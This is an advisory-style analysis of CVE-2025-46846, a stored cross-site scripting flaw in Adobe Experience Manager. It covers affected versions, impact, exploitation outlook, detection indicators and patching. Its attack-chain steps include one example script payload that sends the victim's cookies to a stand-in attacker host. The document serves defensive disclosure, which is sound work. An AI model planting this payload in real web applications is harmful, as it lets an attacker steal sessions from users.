CVE-2025-46846: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-46846 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.22 and earlier (on-premise) and AEM Cloud Service versions prior to 2025.5.0. The vulnerability was published on June 10, 2025, with a patch made available the same day. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the stored (persistent) variant. A low-privileged, network-accessible attacker can inject malicious JavaScript into vulnerable AEM form fields; the payload is stored server-side and executed in the browser of any user who subsequently visits the page containing the affected field. Exploitation requires user interaction (a victim browsing to the compromised page) but no elevated privileges beyond a basic authenticated account (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session within the AEM application. This can lead to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, web page content manipulation, and potential redirection to malicious sites. While availability is not directly impacted, the confidentiality and integrity of user data and sessions are at risk (Adobe Advisory).

There is no public proof-of-concept exploit code and no evidence of in-the-wild exploitation as of the time of disclosure. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported (Adobe Advisory).

1. Reconnaissance: Identify an Adobe Experience Manager instance running version 6.5.22 or earlier (on-premise) or AEM Cloud Service prior to 2025.5.0, accessible over the network.
2. Obtain low-privileged access: Authenticate to the AEM instance using any valid low-privileged user account (e.g., a content author or contributor account).
3. Locate vulnerable form field: Navigate to a page or component within AEM that contains a form field susceptible to stored XSS — typically a text input or rich-text field that does not properly sanitize user input.
4. Inject malicious payload: Submit a crafted JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable field and save or publish the content.
5. Trigger execution: Wait for a victim (e.g., an administrator or another user) to browse to the page containing the injected field; the malicious script executes in their browser context, potentially stealing session cookies or performing actions on their behalf (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) from low-privileged accounts containing HTML/JavaScript tags or encoded script payloads in request bodies.
• File System / Repository: Unexpected <script> tags or JavaScript URIs stored within JCR (Java Content Repository) node properties in the AEM content repository.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-hosted pages, potentially carrying session cookie data as query parameters.
• Logs: Browser-side console errors or CSP violation reports referencing inline script execution on AEM pages that do not normally contain dynamic scripts.

Adobe has released patched versions addressing this vulnerability: upgrade to AEM 6.5.23.0 or later for on-premise deployments, or ensure AEM Cloud Service is on 2025.5.0 or later. As interim mitigations, organizations should implement a strict Content Security Policy (CSP) to restrict inline script execution, enforce rigorous input validation and output encoding for all user-supplied form fields, and restrict content authoring privileges to trusted users only. Regularly audit stored content for unexpected script tags (Adobe Advisory).

The vulnerability was noted by CIS (Center for Internet Security) in a multi-vulnerability advisory covering Adobe products released in June 2025, and was tracked by Tenable in their vulnerability pipeline. No significant independent researcher commentary or social media discussion has been identified beyond standard aggregator coverage (CIS Advisory).